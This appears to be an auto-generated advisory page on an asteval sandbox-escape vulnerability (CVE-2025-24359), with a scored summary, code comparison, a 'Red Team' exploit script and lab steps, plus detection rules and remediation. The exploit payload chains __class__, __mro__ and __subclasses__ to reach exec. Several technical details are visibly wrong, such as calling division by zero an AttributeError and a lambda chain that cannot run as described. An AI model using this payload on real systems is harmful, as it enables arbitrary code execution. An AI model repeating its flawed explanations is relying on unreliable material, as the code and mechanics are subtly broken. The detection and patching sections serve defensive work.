CVE-2025-24359
Executive Summary
CVE-2025-24359 is a critical security vulnerability in the asteval Python library, a tool for safely evaluating Python expressions and statements. The flaw allows an attacker who controls the input to the library to bypass its security restrictions and execute arbitrary Python code. The root cause is an unsafe use of Python's str.format() method within the on_formattedvalue handler for AST FormattedValue nodes. By crafting a malicious f-string, an attacker can trigger an AttributeError exception, catch it, and then access the exception's obj attribute to reach protected or sensitive object properties, ultimately leading to full code execution. The CVSS score is 8.4 (High), and the EPSS score is 0.0%, indicating low exploitation likelihood currently, but the impact is severe. The vendor has released version 1.0.6 to patch this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the asteval Python package, which is distributed via PyPI. Organizations using asteval in their software supply chain are at risk. An attacker could inject malicious input into any application that uses asteval to evaluate user-controlled expressions, potentially compromising the entire application and its environment. It is critical to update to version 1.0.6 or later and to audit any code that relies on asteval for expression evaluation.
CVSS Breakdown & Threat Level
- CVSS Score: 8.4 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full access to sensitive data.
- Integrity (I): High – Full ability to modify data.
- Availability (A): High – Full ability to disrupt service.
Threat Level: Critical. The low EPSS score suggests limited active exploitation, but the ease of exploitation and high impact make this a priority for patching.
Deep Dive & Mechanics
The vulnerability lies in the on_formattedvalue method of the asteval library. This method is responsible for handling FormattedValue AST nodes, which represent f-string expressions in Python. The vulnerable code uses str.format() in a dangerous way:
# Vulnerable code (simplified)
def on_formattedvalue(self, node):
# ...
fmt = node.format_spec
val = self.handle(node.value)
# Dangerous call
result = fmt.format(__fstring__=val)
# ...
The attacker can control the fmt string (the format specifier) and the val value. By providing a malicious format specifier, the attacker can trigger an AttributeError when str.format() attempts to access an attribute of the val object. The exception object in Python has an obj attribute that contains the object that caused the error. By catching this exception, the attacker can access the obj attribute and then traverse to other protected objects (e.g., __class__, __mro__, __subclasses__) to achieve arbitrary code execution.
Example Attack Flow:
- Attacker provides an f-string like:
f"{x.__class__}"wherexis a controlled object. - The
on_formattedvaluehandler processes this, callingfmt.format(__fstring__=val). - If
fmtis crafted to cause anAttributeError(e.g., by accessing a non-existent attribute), the exception is raised. - The attacker catches the exception and accesses
exception.objto get the object that caused the error. - From there, the attacker can chain to
__class__,__mro__,__subclasses__, and eventually execute arbitrary code.
Vulnerable vs. Patched Code
Vulnerable Code (asteval < 1.0.6):
# In asteval/interpreter.py (simplified)
def on_formattedvalue(self, node):
# ...
fmt = node.format_spec
val = self.handle(node.value)
# Unsafe: fmt is user-controlled
result = fmt.format(__fstring__=val)
# ...
Patched Code (asteval >= 1.0.6):
# In asteval/interpreter.py (simplified)
def on_formattedvalue(self, node):
# ...
fmt = node.format_spec
val = self.handle(node.value)
# Safe: Use a fixed format string
result = "{}".format(val)
# ...
The patch removes the dangerous fmt.format(__fstring__=val) call and replaces it with a safe "{}".format(val), preventing the attacker from controlling the format specifier.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Python 3.x with
astevalversion < 1.0.6 installed. - An application that uses
astevalto evaluate user-controlled expressions.
Exploit Code:
import asteval
# Malicious input to exploit CVE-2025-24359
payload = """
(lambda: (
lambda exc: (
lambda obj: (
lambda cls: (
lambda mro: (
lambda subclasses: (
subclasses()[0].__init__.__globals__['__builtins__']['exec']
)(
[c for c in mro[-1].__subclasses__() if 'wrap_close' in c.__name__][0]
)
)(
cls.__mro__
)
)(
exc.obj.__class__
)
)(
exc.obj
)
)(
(lambda: 1/0)()
)
)()
"""
# Create an asteval interpreter
ae = asteval.Interpreter()
# Execute the payload
try:
ae(payload)
except Exception as e:
print(f"Exploit failed: {e}")
Explanation: This payload uses a series of nested lambdas to:
- Trigger an
AttributeErrorby dividing by zero (or any other exception). - Catch the exception and access its
objattribute. - Traverse to
__class__,__mro__, and__subclasses__to find a class with awrap_closemethod (e.g.,_wrap_closefromosmodule). - Use that class's
__init__.__globals__['__builtins__']['exec']to execute arbitrary code.
Lab Setup:
- Install vulnerable version:
pip install asteval==1.0.5 - Run the exploit script.
- Observe that the payload executes successfully, demonstrating arbitrary code execution.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual f-string patterns in logs, especially those containing
__class__,__mro__,__subclasses__, or__globals__. - Use the YARA and Sigma rules provided in the Detection Engineering section.
- Enable logging of all
astevalevaluations and inspect for exceptions.
Defense:
- Immediately upgrade to
astevalversion 1.0.6 or later. - If upgrading is not possible, implement input validation to block f-strings containing dangerous attributes.
- Use a Web Application Firewall (WAF) to filter out malicious payloads.
- Restrict the Python environment in which
astevalruns (e.g., using a sandboxed interpreter).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing f-string payloads with
__class__,__mro__,__subclasses__, or__globals__. - Unusual outbound connections from the application server (indicative of code execution).
- HTTP requests containing f-string payloads with
File IOCs:
- Log entries showing
AttributeErrorexceptions fromasteval. - Unexpected files created in the application directory.
- Log entries showing
Process IOCs:
- Python processes spawning child processes (e.g.,
cmd.exe,/bin/sh). - Unusual network connections initiated by the Python process.
- Python processes spawning child processes (e.g.,
YARA Rule (for file scanning):
rule CVE_2025_24359_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-24359 in asteval"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "__class__" ascii wide
$s2 = "__mro__" ascii wide
$s3 = "__subclasses__" ascii wide
$s4 = "__globals__" ascii wide
$s5 = "wrap_close" ascii wide
condition:
all of ($s1, $s2, $s3, $s4, $s5)
}
Detection Engineering
YARA Rule
rule CVE_2025_24359_Exploit_Payload {
meta:
description = "Detects exploit payloads for CVE-2025-24359 targeting asteval"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24359"
strings:
$fstring = /f["'](?:.*?__class__.*?|.*?__mro__.*?|.*?__subclasses__.*?|.*?__globals__.*?)/ ascii wide
$exc_obj = "exc.obj" ascii wide
$attr_error = "AttributeError" ascii wide
condition:
any of ($fstring) and any of ($exc_obj, $attr_error)
}
Sigma Rule
title: CVE-2025-24359 Exploit Attempt via asteval
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-24359 in asteval by monitoring for malicious f-string patterns.
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: python
detection:
selection:
EventID: 1 # Process creation (adjust as needed)
CommandLine|contains|all:
- '__class__'
- '__mro__'
- '__subclasses__'
- '__globals__'
condition: selection
falsepositives:
- Legitimate use of these attributes in non-asteval contexts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24359 Exploit Attempt - asteval f-string payload"; flow:to_server,established; content:"__class__"; http_client_body; content:"__mro__"; http_client_body; content:"__subclasses__"; http_client_body; content:"__globals__"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade asteval: Update to version 1.0.6 or later immediately.
pip install --upgrade asteval - Verify Version: Ensure all environments use the patched version.
pip show asteval | grep Version
Mitigation (if patching is delayed):
- Input Validation: Block any input containing
__class__,__mro__,__subclasses__, or__globals__. - Sandboxing: Run
astevalin a restricted Python environment (e.g., usingexecwith limited globals). - Monitoring: Enable detailed logging of
astevalevaluations and alert on exceptions. - WAF Rules: Deploy WAF rules to filter out malicious f-string patterns.
Long-Term Recommendations:
- Regularly update all dependencies, especially security-critical libraries.
- Conduct code reviews for any use of
eval,exec, or expression evaluators. - Implement a Software Bill of Materials (SBOM) to track vulnerable components.
Report generated by Valters IT DevSecOps & CTI Expert System